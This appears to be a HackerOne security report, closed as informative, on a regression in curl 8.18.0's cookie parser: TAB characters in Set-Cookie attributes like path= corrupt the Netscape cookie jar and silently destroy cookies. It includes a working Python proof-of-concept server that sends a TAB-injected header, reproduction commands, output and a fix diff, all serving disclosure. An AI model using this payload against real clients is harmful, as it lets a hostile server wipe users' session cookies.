Cookie attribute TAB injection regression in Set-Cookie parsing
Low
Vulnerability Details
## Overview
| | |
|---|---|
| **Component** | `lib/cookie.c` — `parse_cookie_header()` |
| **Type** | Security regression (incomplete input validation) |
| **CWE** | CWE-20 Improper Input Validation |
| **Severity** | LOW (CVSS 3.1 estimated ~3.7, comparable to CVE-2022-35252) |
| **Affected** | curl 8.18.0 through current HEAD |
| **Not affected** | curl 8.17.0 and earlier |
| **Regression of** | `bfe9b59be4` (2022-10-05) reported by Trail of Bits |
| **Introduced by** | `a78a07d3a9` (2025-12-07) "cookie: cleanups and improvements" |
---
## Description
The cookie parser in `parse_cookie_header()` iterates over all semicolon-separated name=value pairs in a Set-Cookie header. A TAB validation check that originally applied to **every** pair (including cookie attributes such as `path=` and `domain=`) was moved inside the first-pair conditional block during a refactoring commit. As a result, only the cookie name and value are validated for TAB characters; attribute values are no longer checked.
Because the Netscape cookie file format uses TAB (0x09) as its field delimiter, a TAB character embedded in an attribute value corrupts the cookie jar when written to disk. When the jar is subsequently read back, `parse_netscape()` counts more fields than the expected seven and silently discards the entry, causing permanent loss of the affected cookie.
---
## Root Cause
### Original fix (2022-10-05)
Commit `bfe9b59be473c9cc96313dc618595d33d946761a`, reported by Trail of Bits, placed the TAB check immediately after the attribute value was parsed — before the code determines whether the current pair is the cookie name/value or a subsequent attribute:
```c
// Applies to ALL pairs: name/value, path=, domain=, etc.
vlen = strcspn(ptr, ";\r\n");
valuep = ptr;
...
/* Reject cookies with a TAB inside the value */
if(memchr(valuep, '\t', vlen)) {
infof(data, "cookie contains TAB, dropping");
return CERR_TAB;
}
...
if(!co->name) {
/* first pair handling */
```
### Regression (2025-12-07)
Commit `a78a07d3a9dc808a51f464d0dd297939e544e2a4` ("cookie: cleanups and improvements") restructured the parser. The commit message states:
> *"Validation checks (length, TAB, prefixes) moved into the first name/value pair block for better code organization"*
After this change the TAB check only executes inside `if(!curlx_strlen(&cookie[COOKIE_NAME]))`, which is the first-pair block:
```c
if(!curlx_str_single(&ptr, '=')) {
sep = TRUE;
if(!curlx_str_cspn(&ptr, &val, ";\r\n"))
curlx_str_trimblanks(&val);
// TAB check REMOVED from here
}
if(!curlx_strlen(&cookie[COOKIE_NAME])) {
// TAB check MOVED here — only runs for the cookie name/value
...
if(curlx_strlen(&val) &&
memchr(curlx_str(&val), '\t', curlx_strlen(&val))) {
infof(data, "cookie contains TAB, dropping");
return CURLE_OK;
}
...
cookie[COOKIE_NAME] = name;
cookie[COOKIE_VALUE] = val;
}
else if(curlx_str_casecompare(&name, "path")) {
cookie[COOKIE_PATH] = val; // TAB in val reaches co->path
}
```
The attribute value parser at line 462 uses `";\r\n"` as delimiters — TAB is not a delimiter for attribute values. A TAB in `path=/app\x09...` passes through into `cookie[COOKIE_PATH]`, then into `co->path` via `sanitize_cookie_path()` (which does not filter TABs), and finally into the Netscape cookie file via `get_netscape_format()` (which uses `\t` as the field separator).
---
## Proof of Concept
### Requirements
- curl 8.18.0 or later (source build)
- Python 3
### Server (`poc.py`)
```python
import socket
# Initialize the server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', 8009))
sock.listen(1)
print("[*] Listening on 127.0.0.1:8009")
while True:
conn, _ = sock.accept()
req = conn.recv(4096).decode('utf-8', errors='replace')
# Path to set the cookie
if '/set' in req:
print("[+] Sending malicious Set-Cookie with real TAB byte")
# Build the response in BYTES to ensure the TAB (\x09) is literal
r = b"HTTP/1.1 200 OK\r\n"
r += b"Content-Length: 2\r\n"
# We add 'expires' to force curl to write it into the jar.txt file
r += b"Set-Cookie: session=abc123; expires=Fri, 01 Jan 2027 00:00:00 GMT; path=/app"
r += b"\x09injected" # The injected raw TAB byte
r += b"\r\n\r\nOK"
conn.sendall(r)
# Path to check if the cookie is sent back
elif '/check' in req:
if 'Cookie:' in req:
print("[+] COOKIE RECEIVED")
body = "Cookie received"
else:
print("[!] NO COOKIE - Corruption confirmed")
body = "No cookie received - LOST"
resp = f"HTTP/1.1 200 OK\r\nContent-Length: {len(body)}\r\n\r\n{body}".encode()
conn.sendall(resp)
conn.close()
```
{F5650793}
### Reproduction
```
Terminal 1:
$ python3 poc.py
Terminal 2:
$ git checkout curl-8_18_0
{F5650803}
$ cmake -B build && cmake --build build -j$(nproc)
$ rm -f /tmp/jar.txt ( if you already have one )
$ ./build/src/curl -v -c /tmp/jar.txt http://127.0.0.1:8009/set
{F5650812}
$ cat /tmp/jar.txt
{F5650815}
$ ./build/src/curl -b /tmp/jar.txt http://127.0.0.1:8009/check
```
{F5650818}
### Expected output
**Step 1** — curl accepts the cookie (TAB in path is not rejected):
```
Added cookie session="abc123" for domain 127.0.0.1,
path /app injected, expire 0
```
**Step 2** — cookie jar is corrupted (8 fields instead of 7):
```
127.0.0.1 FALSE /app injected FALSE 0 session abc123
```
**Step 3** — re-read fails, cookie is lost:
```
No cookie - LOST
```
### Control test (curl 8.17.0 — not vulnerable)
```
$ git checkout curl-8_17_0
$ cmake -B build && cmake --build build -j$(nproc)
$ ./build/src/curl -v -c /tmp/jar.txt http://127.0.0.1:8009/set
* cookie contains TAB, dropping <-- correctly rejected
```
### Verified on
```
curl 8.18.0-DEV (Linux) libcurl/8.18.0-DEV OpenSSL/3.0.13
on Kali Linux — VULNERABLE
curl 8.17.0-DEV (Linux) libcurl/8.17.0-DEV OpenSSL/3.0.13
on Kali Linux — NOT VULNERABLE
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13
Ubuntu 24.04 system curl — NOT VULNERABLE
```
---
## Impact
- **Cookie jar file corruption.** A malicious HTTP server can send a Set-Cookie header with a TAB in the path attribute. The resulting cookie jar entry violates the Netscape format specification.
- **Persistent cookie loss.** When the corrupted jar is read back (via `curl -b`, `CURLOPT_COOKIEFILE`, or any libcurl application that persists cookies), the entry is silently discarded because the field count does not equal seven. The cookie is permanently lost without any error or warning to the user.
- **Selective denial of service.** An attacker can target specific cookies for destruction by responding with a same-name cookie that includes a TAB-injected path attribute. The legitimate cookie is overwritten in memory, then corrupted on disk, and finally lost on re-read.
- **Not possible:** Cross-domain cookie injection. The `parse_netscape()` field-count check (`fields != 7`) prevents the corrupted entry from being loaded with shifted fields, so an attacker cannot redirect a cookie to a different domain through this bug.
---
## Suggested Fix
Move the TAB check back to its original position, outside the first-pair block, so it runs for every name=value pair including attributes:
```diff
--- a/lib/cookie.c
+++ b/lib/cookie.c
@@ -459,8 +459,15 @@
if(!curlx_str_single(&ptr, '=')) {
sep = TRUE;
- if(!curlx_str_cspn(&ptr, &val, ";\r\n"))
+ if(!curlx_str_cspn(&ptr, &val, ";\r\n")) {
curlx_str_trimblanks(&val);
+
+ /* Reject cookies with a TAB in any value (name, path, domain).
+ TABs corrupt the Netscape cookie jar format. */
+ if(curlx_strlen(&val) &&
+ memchr(curlx_str(&val), '\t', curlx_strlen(&val))) {
+ infof(data, "cookie contains TAB, dropping");
+ return CURLE_OK;
+ }
+ }
}
if(!curlx_strlen(&cookie[COOKIE_NAME])) {
- ...
- /* Reject cookies with a TAB inside the value */
- if(curlx_strlen(&val) &&
- memchr(curlx_str(&val), '\t', curlx_strlen(&val))) {
- infof(data, "cookie contains TAB, dropping");
- return CURLE_OK;
- }
```
---
## Timeline
| Date | Event |
|------|-------|
| 2022-10-05 | Original TAB fix committed (`bfe9b59be4`, Trail of Bits) |
| 2025-12-07 | Regression introduced (`a78a07d3a9`, refactoring) |
| 2026-01-22 | curl 8.18.0 released (first vulnerable release) |
## References
- Original fix: [`bfe9b59be4`](https://github.com/curl/curl/commit/bfe9b59be473c9cc96313dc618595d33d946761a)
- Trail of Bits report: https://curl.se/mail/lib-2022-10/0032.html
- Issue: https://github.com/curl/curl/issues/9659
- Regression commit: [`a78a07d3a9`](https://github.com/curl/curl/commit/a78a07d3a9dc808a51f464d0dd297939e544e2a4)
- Comparable CVE: [CVE-2022-35252](https://curl.se/docs/CVE-2022-35252.html) (CVSS 3.7)
## Impact
## Summary:
A malicious HTTP server can inject a TAB character (`0x09`) into the `path` attribute of a `Set-Cookie` response header. Because curl 8.18.0+ no longer validates TAB characters in cookie attribute values (regression of fix `bfe9b59be4`), the TAB is accepted and stored in memory.
When the cookie jar is written to disk in Netscape format, the embedded TAB acts as a field separator, corrupting the line structure (producing 8+ fields instead of the expected 7). On subsequent re-read of the cookie jar, `parse_netscape()` rejects the malformed entry, causing silent and permanent loss of the affected cookie.
An attacker can exploit this to:
1. **Destroy specific cookies** by responding with a same-name cookie containing a TAB-injected path, overwriting the legitimate cookie in memory and corrupting it on disk.
2. **Disrupt session persistence** in any application that uses cookie jar files (`curl -c/-b`, `CURLOPT_COOKIEJAR`/`CURLOPT_COOKIEFILE`), causing authentication tokens or session cookies to silently disappear between curl invocations.
3. **Corrupt the cookie jar file on disk**, violating the Netscape format specification. Other tools that consume the same cookie jar file may also be affected by the malformed entries.
The attack requires no user interaction beyond the victim making an HTTP request to the attacker-controlled server while using a persistent cookie jar.
> **Note:** Cross-domain cookie injection is not possible through this bug — the field-count validation in `parse_netscape()` prevents corrupted entries from being loaded with shifted field values.
Actions
View on HackerOneReport Stats
- Report ID: 3641893
- State: Closed
- Substate: informative